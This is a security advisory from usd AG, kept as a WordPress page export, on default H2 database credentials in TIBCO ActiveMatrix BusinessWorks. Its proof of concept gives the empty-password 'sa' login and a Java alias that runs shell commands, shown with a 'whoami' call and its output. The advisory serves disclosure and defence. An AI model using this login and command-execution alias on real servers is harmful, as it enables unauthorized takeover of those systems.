{"id":17007,"date":"2021-08-31T17:14:52","date_gmt":"2021-08-31T15:14:52","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=17007"},"modified":"2022-05-02T11:45:43","modified_gmt":"2022-05-02T09:45:43","slug":"usd-2021-0012","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0012\/","title":{"rendered":"usd-2021-0012"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2021-0012 | TIBCO ActiveMatrix BusinessWorks<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2021-0012<\/span><br \/><strong>Affected Product<\/strong><span>: TIBCO BusinessWorks <\/span><br \/><strong>Affected Version<\/strong><span>: 6.5.0 hotfix 10 build V159<\/span><br \/><strong>Vulnerability Type<\/strong><span>: CWE-521: Weak Password Requirements<\/span><br \/><strong>Security Risk<\/strong><span>: Critical<\/span><br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.tibco.com\" target=\"_blank\" rel=\"noopener\">https:\/\/www.tibco.com\/<\/a><br \/><strong>Vendor Status<\/strong><span>: <a href=\"https:\/\/support.tibco.com\/s\/article\/How-to-change-TIBCO-Enterprise-Administrator-TEA-H2-Admin-Credentials\" target=\"_blank\" rel=\"noopener\">addressed via guidance<\/a><\/span><em><\/em><\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p>TIBCO ActiveMatrix BusinessWorks installs an H2 database by default. The admin user of this database has default credentials. The H2 database allows to create and execute arbitrary Java functions.<\/p>\n<p>Default Credentials can often be found in configuration files or official manuals. Additionally, they may be looked up in other publicly available sources. Actively using default credentials is particularly dangerous because it provides attackers with a trivial entry point and does not require further technical understanding to get access to the system.<\/p>\n<p>The TIBCO BusinessWorks installations features a \"TIBCO Enterprise Administrator\" (TEA). It seems that the default installation of this admin interface creates the vulnerable H2 service with default administrative credentials. H2 admins have remote code execution by design. The vulnerability is published as <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-10054\" target=\"_blank\" rel=\"noopener\">CVE-2018-10054<\/a> but never got fixed.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>1. Identify the service running an H2 database server. In the test environment this was running on port 23492. However, this could change for other systems.<\/p>\n<p>2. Use a local instance of the <a href=\"http:\/\/www.h2database.com\/html\/tutorial.html#tutorial_starting_h2_console\" target=\"_blank\" rel=\"noopener\">H2 console<\/a> to login to the database<\/p>\n<p>3. In the login panel of the H2 console, use the following settings:<\/p>\n<ul>\n<li>Driver Class: <em>org.h2.Driver<\/em><\/li>\n<li>JDBC URL: <em>jdbc:h2:tcp:\/\/IP:PORT\/~\/test<\/em><\/li>\n<li>User Name: <em>sa<\/em><\/li>\n<li>Password: empty<\/li>\n<li>Click connect.<\/li>\n<\/ul>\n<p>4. The UI allows to run SQL statements. Create an alias, which is nothing else than a Java method:\u00a0<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"20px||20px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>create alias exec as '<br \/>String exec(String cmd) throws java.io.IOException,<br \/>java.lang.InterruptedException {<\/p>\n<p style=\"padding-left: 40px\">java.lang.Process process = java.lang.Runtime.getRuntime().exec(cmd);<br \/>StringBuilder output = new StringBuilder();<br \/>java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));<\/p>\n<p style=\"padding-left: 40px\">String line;<br \/>while ((line = reader.readLine()) != null) {<br \/>output.append(line + \"\\n\");<br \/>}<\/p>\n<p style=\"padding-left: 40px\">int exitVal = process.waitFor();<br \/>if (exitVal == 0) {<br \/>return output.toString();<br \/>}<br \/>return \"Error\";<\/p>\n<p>}<\/p>\n<p>';<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_padding=\"0px|||||\" global_colors_info=\"{}\"]<\/p>\n<p>5. Call the alias with the following SQL statement:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<p>call exec(\"whoami\")<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<p>This returns:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<p>tibco<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<div>The service should enforce the user to specify new credentials during installation.<\/div>\n<p><\/br><\/p>\n<div><\/div>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.tibco.com\/de\/products\/tibco-businessworks\" target=\"_blank\" rel=\"noopener\">https:\/\/www.tibco.com\/de\/products\/tibco-businessworks<\/a><\/li>\n<li><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-10054\" target=\"_blank\" rel=\"noopener\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-10054<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2021-03-03: This vulnerability was identified by Konstantin Samuel.<\/li>\n<li>2101-04-15: Vulnerability information transmitted to vendor.<\/li>\n<li>2021-06-07: Vendor informs about ongoing triage and <a href=\"https:\/\/www.tibco.com\/security\/vulnerability-disclosure-policy\" target=\"_blank\" rel=\"noopener\">Fair Disclosure<\/a> policy.<\/li>\n<li>2021-07-22: Vendor has addresses this issue via a <a href=\"https:\/\/support.tibco.com\/s\/article\/How-to-change-TIBCO-Enterprise-Administrator-TEA-H2-Admin-Credentials\" target=\"_blank\" rel=\"noopener\">public knowledge base article<\/a>.<\/li>\n<li>2021-08-31: Security advisory released by usd AG.<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Konstantin Samuel of usd AG.<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0012 | TIBCO ActiveMatrix BusinessWorks Advisory ID: usd-2021-0012Affected Product: TIBCO BusinessWorks Affected Version: 6.5.0 hotfix 10 build V159Vulnerability Type: CWE-521: Weak Password RequirementsSecurity Risk: CriticalVendor URL: https:\/\/www.tibco.com\/Vendor Status: addressed via guidance Description TIBCO ActiveMatrix BusinessWorks installs an H2 database by default. The admin user of this database has default credentials. The H2 database allows to [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-17007","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/17007","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=17007"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/17007\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=17007"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}